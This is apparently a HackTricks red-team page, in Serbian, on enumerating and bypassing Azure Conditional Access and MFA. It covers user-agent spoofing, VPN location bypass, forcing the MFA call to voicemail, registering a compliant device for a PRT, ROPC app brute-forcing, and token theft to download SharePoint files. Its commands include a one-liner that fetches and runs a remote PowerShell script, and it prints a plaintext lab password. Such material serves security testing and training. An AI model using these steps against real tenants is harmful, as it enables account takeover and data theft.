Az - Politike uslovnog pristupa i MFA zaobilaženje

Reading time: 9 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

Azure politike uslovnog pristupa su pravila postavljena u Microsoft Azure-u za sprovođenje kontrola pristupa uslugama i aplikacijama Azure na osnovu određenih uslova. Ove politike pomažu organizacijama da osiguraju svoje resurse primenom pravih kontrola pristupa pod pravim okolnostima.
Politike uslovnog pristupa u osnovi definišu Ko može pristupiti Čemu iz Gde i Kako.

Evo nekoliko primera:

  1. Politika rizika prijavljivanja: Ova politika može biti postavljena da zahteva višefaktorsku autentifikaciju (MFA) kada se otkrije rizik prijavljivanja. Na primer, ako je ponašanje korisnika prilikom prijavljivanja neobično u poređenju sa njihovim redovnim obrascem, kao što je prijavljivanje iz druge zemlje, sistem može zatražiti dodatnu autentifikaciju.
  2. Politika usklađenosti uređaja: Ova politika može ograničiti pristup uslugama Azure samo na uređaje koji su usklađeni sa bezbednosnim standardima organizacije. Na primer, pristup može biti dozvoljen samo sa uređaja koji imaju ažuriran antivirusni softver ili koji koriste određenu verziju operativnog sistema.

Enumeracija

bash
# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'

# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"

Bypass-ovi politika uslovnog pristupa

Moguće je da politika uslovnog pristupa proverava neke informacije koje se lako mogu manipulisati, omogućavajući zaobilaženje politike. I ako je, na primer, politika konfigurisala MFA, napadač će moći da je zaobiđe.

Prilikom konfigurisanja politike uslovnog pristupa potrebno je naznačiti korisnike koji su pogođeni i ciljne resurse (kao što su sve cloud aplikacije).

Takođe je potrebno konfigurisati uslove koji će pokrenuti politiku:

  • Mreža: IP, IP opsezi i geografske lokacije
  • Može se zaobići korišćenjem VPN-a ili Proxy-a za povezivanje sa zemljom ili uspešnim prijavljivanjem sa dozvoljene IP adrese
  • Microsoft rizici: Rizik korisnika, Rizik prijavljivanja, Rizik unutrašnjeg korisnika
  • Platforme uređaja: Bilo koji uređaj ili odabrati Android, iOS, Windows telefon, Windows, macOS, Linux
  • Ako “Bilo koji uređaj” nije odabran, ali su sve druge opcije odabrane, moguće je zaobići to koristeći nasumični user-agent koji nije povezan sa tim platformama
  • Klijentske aplikacije: Opcije su “Pregledač”, “Mobilne aplikacije i desktop klijenti”, “Exchange ActiveSync klijenti” i “Ostali klijenti”
  • Da bi se zaobišao prijavljivanje sa neodabranom opcijom
  • Filter za uređaje: Moguće je generisati pravilo vezano za korišćeni uređaj
  • Tokovi autentifikacije: Opcije su “Tok uređajnog koda” i “Prenos autentifikacije”
  • Ovo neće uticati na napadača osim ako ne pokušava da zloupotrebi neki od tih protokola u pokušaju phishing-a da pristupi nalogu žrtve

Mogući rezultati su: Blokirati ili Dodeliti pristup uz potencijalne uslove kao što su zahtev za MFA, uređaj da bude usklađen…

Platforme uređaja - Uslov uređaja

Moguće je postaviti uslov zasnovan na platformi uređaja (Android, iOS, Windows, macOS...), međutim, ovo se zasniva na user-agent-u pa je lako zaobići. Čak i postavljanjem svih opcija da primoraju MFA, ako koristite user-agent koji nije prepoznat, moći ćete da zaobiđete MFA ili blokadu:

Samo slanjem nepoznatog user-agent-a (kao što je Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile) dovoljno je da ne pokrene ovaj uslov.
Možete ručno promeniti user-agent u alatima za razvoj:

Ili koristiti proširenje za pregledač poput ovog.

Lokacije: Zemlje, IP opsezi - Uslov uređaja

Ako je ovo postavljeno u uslovnoj politici, napadač bi mogao samo da koristi VPN u dozvoljenoj zemlji ili pokušati da pronađe način da pristupi sa dozvoljene IP adrese kako bi zaobišao ove uslove.

Cloud aplikacije

Moguće je konfigurisati politike uslovnog pristupa da blokiraju ili primoraju, na primer, MFA kada korisnik pokuša da pristupi specifičnoj aplikaciji:

Da biste pokušali da zaobiđete ovu zaštitu, trebali biste videti da li možete pristupiti bilo kojoj aplikaciji.
Alat AzureAppsSweep ima desetine ID-eva aplikacija hardkodiranih i pokušaće da se prijavi u njih i obavesti vas, pa čak i dati token ako bude uspešan.

Da biste testirali specifične ID-eve aplikacija u specifičnim resursima, takođe možete koristiti alat kao što je:

bash
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout

<token>

Pored toga, moguće je zaštititi metodu prijavljivanja (npr. ako pokušavate da se prijavite iz pregledača ili iz desktop aplikacije). Alat Invoke-MFASweep vrši neke provere kako bi pokušao da zaobiđe ove zaštite.

Alat donkeytoken takođe može biti korišćen u slične svrhe, iako izgleda da nije održavan.

Alat ROPCI takođe može biti korišćen za testiranje ovih zaštita i proveru da li je moguće zaobići MFA ili blokade, ali ovaj alat radi iz whitebox perspektive. Prvo morate preuzeti listu aplikacija koje su dozvoljene u tenant-u, a zatim će pokušati da se prijavi u njih.

Ostali Az MFA zaobilaženja

Ton zvona

Jedna Azure MFA opcija je da primite poziv na konfigurisanom broju telefona gde će biti zatraženo od korisnika da pošalje znak #.

caution

Pošto su znakovi samo tonovi, napadač bi mogao da kompromituje poruku govora na broju telefona, da kao poruku postavi ton # i zatim, kada se zahteva MFA, da osigura da je telefon žrtve zauzet (pozivajući ga) tako da se Azure poziv preusmeri na govornu poštu.

Usklađeni uređaji

Politike često zahtevaju usklađeni uređaj ili MFA, tako da bi napadač mogao da registruje usklađeni uređaj, dobije PRT token i na ovaj način zaobiđe MFA.

Počnite tako što ćete registrovati usklađeni uređaj u Intune, zatim dobijte PRT sa:

bash
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials

$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce

Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

<token returned>

Nađite više informacija o ovoj vrsti napada na sledećoj stranici:

Az - Pass the PRT

Alati

AzureAppsSweep

Ovaj skript uzima neke korisničke akreditive i proverava da li može da se prijavi na neke aplikacije.

Ovo je korisno da se vidi da li niste obavezni da koristite MFA za prijavu na neke aplikacije koje kasnije možete zloupotrebiti da povećate privilegije.

roadrecon

Dobijte sve politike

bash
roadrecon plugin policies

Invoke-MFASweep

MFASweep je PowerShell skripta koja pokušava da prijavi na razne Microsoft usluge koristeći dati skup kredencijala i pokušava da identifikuje da li je MFA omogućena. U zavisnosti od toga kako su konfigurirane politike uslovnog pristupa i druga podešavanja višefaktorske autentifikacije, neki protokoli mogu ostati sa jednim faktorom. Takođe ima dodatnu proveru za ADFS konfiguracije i može pokušati da se prijavi na on-prem ADFS server ako je otkriven.

bash
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>

ROPCI

Ovaj alat je pomogao u identifikaciji MFA zaobilaženja i zatim zloupotrebi API-ja u više produkcionih AAD tenanata, gde su AAD korisnici verovali da imaju MFA primenjen, ali je ROPC zasnovana autentifikacija uspela.

tip

Potrebno je imati dozvole da biste mogli da navedete sve aplikacije kako biste generisali listu aplikacija za brute-force.

bash
./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json

donkeytoken

Donkey token je skup funkcija koje imaju za cilj da pomognu bezbednosnim konsultantima koji treba da validiraju Politike uslovnog pristupa, testove za Microsoft portale sa 2FA, itd..

git clone https://github.com/silverhack/donkeytoken.git
Import-Module '.\donkeytoken' -Force

Testirajte svaki portal da li je moguće prijaviti se bez MFA:

bash
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue

Zato što Azure portal nije ograničen, moguće je prikupiti token sa krajnje tačke portala za pristup bilo kojoj usluzi koja je otkrivena prethodnom izvršenju. U ovom slučaju, Sharepoint je identifikovan, i traži se token za pristup njemu:

bash
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token

Pretpostavljajući da token ima dozvolu Sites.Read.All (iz Sharepoint-a), čak i ako ne možete pristupiti Sharepoint-u putem veba zbog MFA, moguće je koristiti token za pristup datotekama sa generisanim tokenom:

bash
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks